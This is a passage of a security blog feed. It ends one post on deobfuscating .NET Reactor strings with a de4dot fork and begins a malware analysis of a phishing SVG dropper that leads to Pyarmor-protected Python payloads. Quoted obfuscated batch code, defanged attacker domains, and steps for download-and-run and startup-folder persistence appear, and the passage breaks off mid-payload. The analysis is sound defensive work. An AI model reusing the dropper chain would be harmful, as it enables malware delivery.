This will look for all references to the obfuscator’s decrypt method (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theDecryptMethod&lt;/code&gt;), pass the argument of each call site to your static decrypter, and then replace the call with a direct load of the decrypted string (that’s why it’s called inliner).
Sadly, it runs into the same warning we saw earlier about not being able to find all parameters, so we cannot make use of the inliner for this version of .NET Reactor.&lt;/p&gt;

&lt;p&gt;So, we ended up manually iterating over code, checking for string decryption calls and properly parsing the argument (consisting of an XOR of a field and a 32-bit constant).
The constant field values are obtained by first looking for a method that has many &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldc.i4&lt;/code&gt; (load integer constant) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stfld&lt;/code&gt; (store field) instructions, and then going through them one by one and pairing them up to get a field name → constant mapping.
With de4dot’s little helpers and generally good support for working with IL code, the fix for this came out to &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/278e16e923ad3f7e16ff606de95a4325cc34cce6#diff-b2a79bc7f4f815cfcb975f3a4460ca0972c3d52856d5e0e3692261da5302bca1&quot;&gt;around 80 lines&lt;/a&gt; - not too bad at all.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update (2026)&lt;/em&gt;: A better fix is to &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/06a88dcd9b90f84d34de61d0e8ca61cf15b90c15&quot;&gt;update&lt;/a&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CflowConstantsInliner&lt;/code&gt;, which was originally built to handle a slightly different form of field-based obfuscation in older .NET Reactor versions.&lt;/p&gt;

&lt;h4 id=&quot;before-and-after-1&quot;&gt;Before and after&lt;/h4&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;ManagementObjectSearcher&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;managementObjectSearcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ManagementObjectSearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RegisterIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;m&quot;&gt;2006988233&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eda734e7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e71c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ae26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a8ec222af5ee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_d30267c0a00f44b5bec1a2d65bcab519&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_75c1500b23e14cdb9b27f078275c425a&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RegisterIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;m&quot;&gt;1912974033&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eda734e7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e71c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ae26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a8ec222af5ee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_d30267c0a00f44b5bec1a2d65bcab519&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_cd6b2680ab2d441381513c7d9cf6dfd5&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;ManagementObjectSearcher&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;managementObjectSearcher&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ManagementObjectSearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;root\\SecurityCenter2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT * FROM AntiVirusProduct&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: In a raw protected assembly, there will be more bitwise operations around the XOR.
They’re folded by de4dot’s constant folding pass, which is always applied as part of generic code deobfuscation.&lt;/p&gt;

&lt;h1 id=&quot;de4dot-situation&quot;&gt;de4dot situation&lt;/h1&gt;

&lt;p&gt;de4dot has been around since 2011, and it is still able to make a difference for many binaries even when only relying on its generic algorithms, but unfortunately, the original project has been unmaintained since 2020.
As a result, it has been forked many times over the years.
Whenever someone wanted to implement a new deobfuscator, they’d fork the original repo and add their code.
Sometimes, other forks were used as a base, e.g., &lt;a href=&quot;https://github.com/mobile46/de4dot&quot;&gt;mobile46’s fork&lt;/a&gt; was popular for a time.&lt;/p&gt;

&lt;p&gt;This led to a lot of fragmentation, which is unfortunate for a couple of reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Forks that applied minor fixes to existing code are very hard to discover, because you cannot search for them with terms like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;new obufscator name&amp;gt; de4dot&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Often, it’s not exactly clear which obfuscator was used on an assembly. This is where de4dot’s detection logic comes in handy, but if there are 5 forks for 5 different obfuscators, that means you need to try 5 different binaries.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Since it seems there has been no concerted effort to combine the fixes and additions people have made over the years into a single build, we have decided to do so.&lt;/p&gt;

&lt;p&gt;The result: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx&quot;&gt;de4dotEx&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;This fork contains code for deobfuscating ConfuserEx, DoubleZero, VirtualGuard and more.
It also contains various fixes for existing deobfuscators made by mobile46, andywu188, KOLANICH, kant2002 and others.&lt;/p&gt;

&lt;p&gt;We’ll try to keep integrating any new forks that come up, and of course, we’d also be delighted to accept pull requests!&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;PS: We are aware that there are tools like &lt;a href=&quot;https://github.com/SychicBoy/NETReactorSlayer&quot;&gt;NETReactorSlayer&lt;/a&gt; that are excellent for unprotecting .NET Reactor binaries.
Nevertheless, we found this to be a good opportunity to get more familiar with .NET internals and deobfuscation tooling development.&lt;/p&gt;

&lt;hr /&gt;

&lt;div class=&quot;text-align: left&quot;&gt;
  &lt;p&gt;The examples in this post are from the following sample (SHA256):
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9f77007884de82a836b19ee01e162a4d4075351c1938b496697258709600566f&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 07 Apr 2025 13:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/04/07/dotnet-deobfuscation/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/04/07/dotnet-deobfuscation/</guid>
        
        <category>dotnet</category>
        
        <category>de4dot</category>
        
        <category>netreactor</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Unpacking Pyarmor v8+ scripts</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;On a rainy Friday around lunchtime, we received a phishing email saying we had an unpaid invoice, with an attached SVG file.
We chose to analyze it as an exercise, with the goal to burn the attackers’ C2 IP addresses and malware samples.
But what was planned as a Friday afternoon exercise turned into a journey deep down the rabbit hole…&lt;/p&gt;

&lt;figure id=&quot;campaignmeme&quot; class=&quot;figure-posts&quot; style=&quot;width: 70%; display:block; margin: auto; margin-bottom: -1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/campaign-meme.jpg&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/campaign-meme.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/campaign-meme.jpg&quot; alt=&quot;Meme: targeting infosec people with a malware campaign is not the best idea&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/campaign-meme.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/campaign-meme.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/campaign-meme.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h1 id=&quot;malware-dropper&quot;&gt;Malware dropper&lt;/h1&gt;

&lt;p&gt;When opening the .SVG file in a web browser, the contained JavaScript code is executed, which extracts a .HTM file from a base64 blob and “downloads” it.
The .HTM file shows the user a blurred document, roughly looking like an invoice, overlaid with a message telling the user that the browser does not support the correct display of the message and the user should click the “Open” button to display the file locally, as you can see in figure 1:&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/rechnung-htm.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/rechnung-htm.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/rechnung-htm.png&quot; alt=&quot;Screenshot of the downloaded .HTM file&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/rechnung-htm.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/rechnung-htm.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/rechnung-htm.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 1: Screenshot of the downloaded .HTM file&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The “Open” button is linked to a JavaScript function that opens the Windows Search with a WebDAV path to the attackers’ server, as one can see in the code below.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/webdavjs.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/webdavjs.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/webdavjs.png&quot; alt=&quot;Screenshot of JavaScript (code block not possible due to AV detections - sorry for the inconvenience!)&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/webdavjs.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/webdavjs.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/webdavjs.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 2: JavaScript code abusing Windows Search&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Thus, we have found the first domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binary-acceptance-hotel-difficult[.]trycloudflare[.]com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Following the WebDAV path, we found a simple file listing, showing a folder called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ge&lt;/code&gt;, as well as the files &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt;.
Unfortunately, we did not investigate the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ge&lt;/code&gt; further at this point, and it was not available anymore when revisiting the server later.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; is a simple VBScript that downloads and executes a file also called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; from the URL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msc4dfl1ed7eb485ad6ahelixpflanzen[.]de@5029\DavWWWRoot\WSJ25F.bat&lt;/code&gt;, which has the same content as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; on the server investigated here.&lt;/p&gt;

&lt;p&gt;So inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lamoor.vbs&lt;/code&gt; we have found a second domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msc4dfl1ed7eb485ad6ahelixpflanzen[.]de&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WSJ25F.bat&lt;/code&gt; is an obfuscated batch script, which begins as follows:&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;:: ▄▄▄▄    ▄▄▄     ▄▄▄█████▓ ▄████▄   ██░ ██   ██████  ██░ ██  ██▓▓█████  ██▓    ▓█████▄&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▓█████▄ ▒████▄   ▓  ██▒ ▓▒▒██▀ ▀█  ▓██░ ██▒▒██    ▒ ▓██░ ██▒▓██▒▓█   ▀ ▓██▒    ▒██▀ ██▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒██▒ ▄██▒██  ▀█▄ ▒ ▓██░ ▒░▒▓█    ▄ ▒██▀▀██░░ ▓██▄   ▒██▀▀██░▒██▒▒███   ▒██░    ░██   █▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒██░█▀  ░██▄▄▄▄██░ ▓██▓ ░ ▒▓▓▄ ▄██▒░▓█ ░██   ▒   ██▒░▓█ ░██ ░██░▒▓█  ▄ ▒██░    ░▓█▄   ▌&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ░▓█  ▀█▓ ▓█   ▓██▒ ▒██▒ ░ ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒░▓█▒░██▓░██░░▒████▒░██████▒░▒████▓&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ░▒▓███▀▒ ▒▒   ▓▒█░ ▒ ░░   ░ ░▒ ▒  ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░▓  ░░ ▒░ ░░ ▒░▓  ░ ▒▒▓  ▒&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;:: ▒░▒   ░   ▒   ▒▒ ░   ░      ░  ▒    ▒ ░▒░ ░░ ░▒  ░ ░ ▒ ░▒░ ░ ▒ ░ ░ ░  ░░ ░ ▒  ░ ░ ▒  ▒&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::  ░    ░   ░   ▒    ░      ░         ░  ░░ ░░  ░  ░   ░  ░░ ░ ▒ ░   ░     ░ ░    ░ ░  ░&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::  ░            ░  ░        ░ ░       ░  ░  ░      ░   ░  ░  ░ ░     ░  ░    ░  ░   ░&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::       ░                   ░                                                     ░&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::                          !! Obfuscated By Batchsield !!&lt;/span&gt;


@&lt;span class=&quot;nv&quot;&gt;%RlreyKGxSD%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%KDuXrBAYVA%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%cr%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%fOG%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dXTcycKBB%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%jenTylt%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%svFuxrt%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%wJQUX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%urSNrd%&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%mEVT%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Hujf%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%q%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BFWpZo%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%bOtHT%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%GAUPbqqJAU%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;:: Function to search for and open a PDF file in the Downloads folder&lt;/span&gt;
:&lt;span class=&quot;nv&quot;&gt;%PxD%&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;%U%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%iXXMVGf%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ylMX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dJuIOerMzw%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Vyn%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%gZAW%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ueGJ%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%DoAK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Emx%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%OQeP%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%sYsxJnvlz%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%jsTSJ%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Ys%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%oFjxCobCGv%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dCC%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ELvWRgh%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%VaTX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%jdAfeLw%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%SrJltK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Qp%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%Qv%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%HrfzfVu%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ZZFKiUBU%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%URNZhmKy%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%Nuatq%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%qiwUtK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ekA%&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As one can see, the obfuscation mainly consists of inserting multiple non-defined variables into the code (and yes, they can’t even spell their own obfuscator’s name properly).
Interestingly, the comments inside the script are not obfuscated at all.
When searching for “Batchshield deobfuscator” on the internet, one can easily find tools that can deobfuscate this script.
However, some of those tools remove all the variables, including the legitimate ones!&lt;/p&gt;

&lt;p&gt;The content of the deobfuscated script is only briefly described, as the focus of this blog post is on the later stages of the malware.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open all PDF files inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Downloads&lt;/code&gt; folder&lt;/li&gt;
  &lt;li&gt;Download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JAAPW.zip&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MSVP.zip&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hxxp://qed245t3kreiscryoz-gueterslohewr33w[.]de[:]7719&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Extract the ZIP files to the paths &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Downloads\Support&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Downloads\OneDrive&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;echo Running Python scripts...
cd /d &quot;\Downloads\OneDrive\Python\Python312&quot;
python.exe BArown.py
python.exe CASrest.py
python.exe DXreame.py
python.exe ASTRILNOV1.py
&lt;/code&gt;&lt;/pre&gt;
  &lt;/li&gt;
  &lt;li&gt;Download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NFC.bat&lt;/code&gt; from the same URL and move it to the user’s startup folder&lt;/li&gt;
  &lt;li&gt;Delete temporary ZIP files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The startup file changes the directory to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%Userprofile%\Downloads\Support\Python312&lt;/code&gt; and executes the Python scripts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAdate.py&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAScis.py&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GXrop.py&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt;, which probably contain the actual payload (?), using the custom python interpreter.&lt;/p&gt;

&lt;p&gt;And here is a third domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qed245t3kreiscryoz-gueterslohewr33w[.]de&lt;/code&gt;.
All the domains and download URLs were reported to &lt;a href=&quot;https://urlhaus.abuse.ch/&quot;&gt;URLhaus&lt;/a&gt;.
This led to malware dropper domains landing on several block lists within only a few hours after the malware distribution campaign started.&lt;/p&gt;

&lt;p&gt;But what about the Python scripts, the actual payload of the malware campaign?
Upon opening one of the scripts, we were greeted by this monstrosity:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Pyarmor 9.0.7 (pro), 007106, non-profit, 2025-01-08T19:48:44.467478
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pyarmor_runtime_007106&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__pyarmor__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;__pyarmor__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__file__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;PY007106&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x03\x0c\x00\xcb\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\xdd\x91\x07\x00\x12\t\x06\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xfe&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb2\x83&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1d&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xab&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s&lt;/span&gt;&lt;span 